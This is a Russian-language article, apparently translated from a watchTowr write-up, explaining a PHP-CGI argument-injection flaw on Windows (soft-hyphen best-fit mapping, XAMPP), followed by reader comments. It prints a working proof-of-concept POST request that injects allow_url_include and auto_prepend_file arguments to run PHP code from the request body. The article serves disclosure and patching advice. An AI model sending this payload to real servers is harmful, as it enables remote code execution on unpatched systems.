Orange Tsai недавно запостил про «Одну из уязвимостей PHP, которая влияет на XAMPP, развернутый по умолчанию», и нам было интересно рассказать немного об этом. XAMPP - очень популярный способ администраторов и разработчиков развернуть Apache, PHP и множество других инструментов, и любая ошибка, которая может быть RCE в установке этого набора по умолчанию, звучит очень заманчиво.
К счастью, для защитников, ошибку смогли воспроизвести только на инсталляциях PHP для Windows (где PHP используется в режиме CGI), в некоторых локализациях (речь про локали Windows):
Китайский (как упрощенный, так и традиционный)
Японский
Однако, Orange предупреждает, что другие локали могут быть тоже затронуты, и настоятельно призывает обновиться до последней версии PHP, где эти ошибки были уже устранены (для деталей, смотрите его пост - тут автор приводит пример уязвимой конфигурации).
Хочется отметить, что мы не можем проверить наверняка, насколько распространена данная конфигурация или тип развертывания на самом деле.
Пост Orange'а, хоть и информативный, но не демонстрирует нам, что необходимо для реализации такой привлекательной RCE. К сожалению, большой набор конфигураций делает сложным доказательство, что система уязвима (или нет) при пассивном просмотре, это очевидно, потому что информация о локали Windows обычно не размещается в каких либо «отпечатках». Поэтому мы решили приступить к воспроизведению ошибки, если мы сможем её использовать, это ли не лучшее доказательство?
Абсолютно понятно, что уязвимость затрагивает только CGI режим PHP. В этом режиме веб-сервер разбирает HTTP-запросы и передает их в PHP скрипт, затем выполняет некоторую обработку над этим. Для примера, строка запроса парсится и передается в интерпретатор PHP в командной строке - такой запрос http://host/cgi.php?foo=bar
, может быть выполнен как php.exe cgi.php foo=bar
.
Это, конечно, может быть использовано для внедрения команд, поэтому ввод тщательно обрабатывается и очищается перед вызовом php.exe
(после CVE-2012-1823). Однако, как оказалось есть один способ, который разработчики не учли, он позволяет злоумышленнику выйти за пределы командной строки и передать аргументы, которые интерпретируются самим PHP. Этот способ связан с тем, как именно символы unicode перекодируются в ASCII. Покажем это на примере.
Ниже представлены два вызова php.exe
, один вредоносный, а второй нет. Вы сможете найти разницу между ними?
Нет, и я тоже не могу. Давайте взглянем на них через hex-редактор и попробуем найти подсказку.
Здесь мы видим, что первый вызов использует обычное тире (0x2D), а вот второй вызов использует что-то другое (видимо «мягкий дефис»), с кодом 0xAD (на скриншоте он выделен). Хоть внешне они для нас с вами абсолютно одинаковые, для операционной системы - это разные значения.
Самое важное в этом всём, что Apache будет экранировать дефис - 0x2D, но не второй «дефис», 0xAD. Ведь это же не настоящий дефис, верно? Значит его и не надо экранировать...верно?
Получается, что в части обработки юникода, PHP будет применять так называемый маппинг «лучшего соответствия», и предположит, что когда пользователь вводит «мягкий дефис», он хотел на самом деле ввести обычный дефис, и он будет его интерпретировать именно так. В этом и заключается уязвимость, если мы предоставим обработчику CGI «мягкий дефис» (0xAD), обработчик не станет его экранировать и передаст PHP. PHP в свою очередь уже будет интерпретировать его как обычный дефис, благодаря этому, злоумышленники могут указывать дополнительные аргументы командной строки, начинающиеся с дефисов для PHP.
Это очень похоже на старую ошибку PHP в режиме CGI (CVE-2012-1823), поэтому мы можем позаимствовать некоторые методы эксплуатации, которые применялись в старой CVE, но адаптируем их для работы с новой ошибкой.
Реализация
В одном полезном writeup (решение для CTF), говорится, что нам понадобятся следующие аргументы для нашей RCE:
-d allow_url_include=1 -d auto_prepend_file=php://input
Благодаря этим аргументам тело нашего HTTP-запроса будет передано и обработано уже в PHP. Но давайте заменим обычные дефисы на ранее обсуждаемые (0xAD). Будут ли они пропущены?
Пример запроса после преобразования:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
У нас получилось! Мы действительно получили страницу phpinfo, доказывая, что мы достигли RCE.
Выводы
Неприятная ошибка с очень простой эксплуатацией.
Для Windows с локалями на английском, корейском и других, из-за разнообразия сценариев использования PHP в настоящее время невозможно перечислить и исключить все потенциальные сценарии использования данной уязвимости.
К счастью, патчи уже доступны, и мы рекомендуем обновить PHP. Как всегда, фантастическая работа и респект - Orange Tsai.
Мы не будем дублировать здесь рекомендации, их можно найти в ранее упомянутой статье.
Данная статья является переводом публикации коллег из watchTowr (не рекламирую их, но статьи короткие и полезные, советую также в оригинале).
Дополню только информацией из других статей и новостей про уязвимые версии PHP, а именно:
с версии PHP 8.3 по 8.3.8;
с версии PHP 8.2 по 8.2.20;
с версии PHP 8.1 по 8.1.29.
Комментарии (9)
petro_64
08.06.2024 12:11+1А почему использование мягкого дефиса зависит от локали? В Юникоде не должно это обрабатываться одинаково разве?
KirSecurity Автор
08.06.2024 12:11В юникоде да, но тут видимо фишка именно при кодировании дальше в ASCII (который используется самой Windows), т.к. данная CVE актуальна только на Windows.
FanatPHP
08.06.2024 12:11+2Сначала бодро пишем заманчивый текст
XAMPP - очень популярный способ администраторов и разработчиков развернуть Apache, PHP и множество других инструментов...
а потом скромно забываем дописать "...на уютном домашнем компике под Виндой, где веб-сервер биндится к приватным IP". Понимаю, новость сразу становится не такой вкусной и возникают вопросы, интересна ли она кому-то, кроме очередных мамкиных хакиров, с успехом ломающих собственную венду.
KirSecurity Автор
08.06.2024 12:11Не всегда к приватным, но согласен, для прода такая инсталляция это скорее изюминка, плюс еще такие специфичные локали.
Но меня больше в этой новости зацепило, что подобные ошибки в обработке PHP очень старые, но новые реализации находят до сих пор.
koreychenko
08.06.2024 12:11А это точно уязвимость PHP, а не админская "дырка"?
Вы б ещё эвалы включили и прочие богомерзкие вещи.
А тут, apache, cgi, под виндой, сразу видно, что человек любит боль и явно нарывается специально.
FanatPHP
08.06.2024 12:11+2Ну, судя по всему, тут именно РНР (правда в невероятном варианте использования). И в целом это неплохая была бы статья для начинающего любителя сайбер секьюрити, который разобрался в этой несложной уязвимости.
Но всё портят попытки набить себе цену на пустом месте и раздуть из лабораторной уязвимости проблему вселенского масштаба. А всего-то надо было честно написать - "Уязвимость представляет скорее академический интерес, но разобрать её интересно".
datacompboy
Распознавание вариаций пробелов и вариаций минусов-дефисов-тире обычно делают для того, чтоб копипастить из примеров на сайтах и в блогах можно было.
alekssamos
У меня всегда была parse error такая ошибка, когда пробел был представлен кодом 160. Всегда, во всех языках программирования. Когда я копировал с каких-то сайтов, приходилось через найти и заменить всё убирать эти пробелы с кодом 160. Неразрывные пробел, кажется, называется.
datacompboy
Вот варианты пробелов в юникоде: https://www.compart.com/en/unicode/category/Zs
nbsp (A0 который) встречается крайне часто, особенно при копипасте с сайтов или из ворда.
То же самое с дефисами-минусами, да. В теории, правильно оформленный кусок завернутый в тег code должен быть 1-в-1 для копирования -- но часто встречаются и неоформленные.
Впрочем, проблема тут не в библиотеке разбора, а в использовании WideCharToBultiByte -- именно поэтому проблема в некоторых кодовых страницах, а не вообще.